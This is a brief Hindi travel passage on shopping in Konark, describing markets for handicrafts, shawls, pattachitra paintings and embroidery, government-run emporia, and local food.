कोणार्क में कई बाज़ार हैं जो सजावटी सामान, हस्तनिर्मित वस्तुएं, सहायक उपकरण, शॉल, हैंडबैग, पट्टा पेंटिंग, कढ़ाई के काम और बहुत कुछ बेचते हैं। सरकार द्वारा संचालित एम्पोरिया कोणार्क में सबसे अधिक बार देखी जाने वाली दुकानों में से एक है जो खरीदारी करने वालों का दिल जीत लेती है। अपनी कुछ पसंदीदा चीज़ें खरीद सकते हैं और यहां के फेमस फूड्स का स्वाद ले सकते हैं।

]]>